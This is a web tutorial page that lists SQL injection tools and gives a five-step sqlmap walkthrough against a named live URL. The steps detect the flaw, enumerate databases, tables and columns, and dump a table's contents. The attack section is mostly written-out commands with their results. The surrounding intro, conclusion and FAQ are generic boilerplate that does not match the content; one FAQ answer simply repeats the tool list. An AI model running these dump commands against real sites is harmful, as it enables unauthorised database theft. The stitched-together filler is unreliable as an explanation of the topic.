Clear, practical technology insights BSOD Code Lookup · Windows Error Code Lookup · Wi-Fi Troubleshooting · PC Troubleshooting Checklist

Web6: SQL Injection - Some Exploit Tools

Learn about Sql Injection, including how sql injection works, key uses, practical steps, common issues, and answers to frequently asked questions.

Table of Contents

This guide provides a clear overview of sql injection, including the main concepts, practical steps, and common questions. Use it to understand the topic, compare the available options, and make a more informed decision.

  • Sqlmap
  • The Mole (Digging up your data)
  • Havij

There are also some other tools that you can refer to such as: Netsparker, jSQL Injection, Burp, BBQSQL.

Below I am a demo of using Sqlmap to exploit basic SQL injection.

You download Sqlmap at here.

Sqlmap is written in Python language, so to use this tool you need to install Python. You can download python at http://www.python.org/downloads/

First you have to define the target website, here I have the following goal: http://zerocoolhf.altervista.org/level1.php?id=1 (this page is now dead).

Step 1 : Open cmd and type the following command:

python sqlmap.py –u 'http://zerocoolhf.altervista.org/level1.php?id=1'

Sql Injection guide image 1

sqlmap will detect the target's vulnerability and give information about the vulnerability.

Step 2 : Once it has been determined that the target website has an SQL injection vulnerability, we proceed to find the database name.

python sqlmap.py –u 'http://zerocoolhf.altervista.org/level1.php?id=1' --dbs

Sql Injection guide image 2

=> Database: my_zerocoolhf

Step 3 : After determining the database name, we will find the names of the tables in the database.

python sqlmap.py –u 'http://zerocoolhf.altervista.org/level1.php?id=1' --tables –D my_zerocoolhf

Sql Injection guide image 3

=> There are 2 tables in the database: auth and book

Step 4 : Identify the column names in the table

python sqlmap.py –u 'http://zerocoolhf.altervista.org/level1.php?id=1' --columns –D my_zerocoolhf –T book

Sql Injection guide image 4

=> Identify the columns in the book table: author, id, price, title.

Step 5 : Dump data from the table.

python sqlmap.py –u 'http://zerocoolhf.altervista.org/level1.php?id=1' --dump –D my_zerocoolhf –T book

Sql Injection guide image 5

=> Thus, we have obtained the database of the target website.

Above is a basic demo of using sqlmap to exploit SQL injection errors, you can learn more options of sqlmap here to support SQL injection exploitation.

Conclusion

Understanding Sql Injection makes it easier to compare options, avoid common mistakes, and apply the information in this guide more effectively. Review the relevant requirements before making changes or choosing a solution.

FAQ

What is Sql Injection?

Sqlmap The Mole (Digging up your data) Havij There are also some other tools that you can refer to such as: Netsparker, jSQL Injection, Burp, BBQSQL.

Why is Sql Injection important?

Understanding Sql Injection helps you evaluate features, compatibility, performance, and potential limitations before you choose a product or follow a procedure.

What should you consider when using or choosing Sql Injection?

Consider your specific goal, compatibility requirements, available features, cost, security, and the practical recommendations described in this guide.

Discussion

Reader Comments 0

Sign in with email or Google to join the discussion.